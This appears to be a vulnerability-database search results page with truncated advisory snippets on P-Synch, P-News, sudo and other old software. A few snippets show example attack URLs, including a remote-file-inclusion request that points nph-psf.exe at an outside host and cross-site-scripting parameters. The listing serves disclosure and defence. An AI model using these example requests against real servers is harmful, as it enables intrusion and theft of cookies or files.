2179 matches found
P-Synch Password Management Multiple Vulnerabilities
The remote web server is running P-Synch, a password management system running over HTTP. There is a flaw in the CGIs nph-psa.exe and nph-psf.exe which may allow an attacker to make this host include remote files, disclose the path to the p-synch installation or produce arbitrary HTML code...
Multiple Vulnerabilities In P-Synch Password Management
Multiple Vulnerabilities In P-Synch Password Management ------------------------------------------------------- The other night I came across a server running P-Synch. I had never heard of it so i was curious to poke around on it a bit. Within an hour i found the vulns listed below. Im pretty sur...
P-Synch 6.2.5 - Multiple Vulnerabilities
P-Synch 6.2.5 - Multiple Vulnerabilities P-Synch Multiple Vulnerabilities Vendor: M-Tech Identity Management Solutions Product: P-Synch Version: VBScript, JScript etc https://path/to/psynch/nph-psa.exe?css="VBScript, JScript etc File Include Vulnerability:...
P-Synch < 6.2.5 - Multiple Vulnerabilities
P-Synch Multiple Vulnerabilities Vendor: M-Tech Identity Management Solutions Product: P-Synch Version: VBScript, JScript etc https://path/to/psynch/nph-psa.exe?css="VBScript, JScript etc File Include Vulnerability: https://path/to/psynch/nph-psf.exe?css=http://somesite/file...
M-TECH P-Synch 6.2.5 - nph-psf.exe?css Cross-Site Scripting
M-TECH P-Synch 6.2.5 - nph-psf.exe?css Cross-Site Scripting source: https://www.securityfocus.com/bid/7745/info P-Synch does not adequately filter HTML code from URL parameters, making it prone to cross-site scripting attacks. Code will be executed in the security context of the system running...
P-News p-news.php Name Field Privilege Escalation
The remote host is running the p-news bulletin board. There is a flaw in the version in use which may allow an attacker who has a 'Member' account to upgrade its privileges to administrator by supplying a malformed username. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. Ref: From: "Peter...
M-TECH P-Synch 6.2.5 - Full Path Disclosure
M-TECH P-Synch 6.2.5 - Full Path Disclosure source: https://www.securityfocus.com/bid/7740/info Reportedly an attacker may make a malicious HTTP request for specific P-Synch executables passing an empty URI parameter to trigger the condition. Although unconfirmed, it is likely that the request wi...
M-TECH P-Synch 6.2.5 - 'nph-psf.exe?css' Remote File Inclusion
source: https://www.securityfocus.com/bid/7747/info A remote file include vulnerability has been reported for P-Synch. Due to insufficient sanitization of some user-supplied URI variables, it is possible for a remote attacker to include a malicious file in a URL. An attacker may exploit this by...
M-TECH P-Synch 6.2.5 - 'nph-psa.exe?css' Cross-Site Scripting
source: https://www.securityfocus.com/bid/7745/info P-Synch does not adequately filter HTML code from URL parameters, making it prone to cross-site scripting attacks. Code will be executed in the security context of the system running P-Synch. This may enable a remote attacker to steal cookie-bas...
M-TECH P-Synch 6.2.5 - Full Path Disclosure
source: https://www.securityfocus.com/bid/7740/info Reportedly an attacker may make a malicious HTTP request for specific P-Synch executables passing an empty URI parameter to trigger the condition. Although unconfirmed, it is likely that the request will cause P-Sync to display an error message...
pnews.txt
Admin Access Vulnerability in P-News 1.6 Url: http://www.ppopn.net It is possible to gain admin access if you possess a 'Member' account due to a flaw in the 'p-news.php' file. You can inject an entire arbitrary account, including all the fields, into the 'Name' field, which will push all the...
P-News 1.16 - Administrative Account Creation
P-News 1.16 - Administrative Account Creation source: https://www.securityfocus.com/bid/7689/info A vulnerability has been reported that could enable a P-News member to create and access an administrative account. This is due to insufficient validation of data supplied to account editing input...
P-News 1.16 - Administrative Account Creation
source: https://www.securityfocus.com/bid/7689/info A vulnerability has been reported that could enable a P-News member to create and access an administrative account. This is due to insufficient validation of data supplied to account editing input fields of P-News. This issue was reported in...
CVE-2002-0184: Incorrect Calculation of Buffer Size
Sudo before 1.6.6 contains an off-by-one error that can result in a heap-based buffer overflow that may allow local users to gain root privileges via special characters in the -p prompt argument, which are not properly expanded...
CVE-2002-1559
Directory traversal vulnerability in ion-p.exe aka ion-p allows remote attackers to read arbitrary files via 1 C: drive letter or 2 .. dot-dot sequences in the page parameter...
CVE-2002-1559
CVE-2002-1559 describes a directory traversal flaw in ion-p.exe (ion-p) allowing remote attackers to read arbitrary files via the page parameter using C: or .. sequences. The vulnerability is web-facing, with exploitation leading to information disclosure and potential privilege escalation on som...
CVE-2002-0306: Undefined Security Weakness
ans.pl in Avenger's News System ANS 2.11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the p plugin parameter...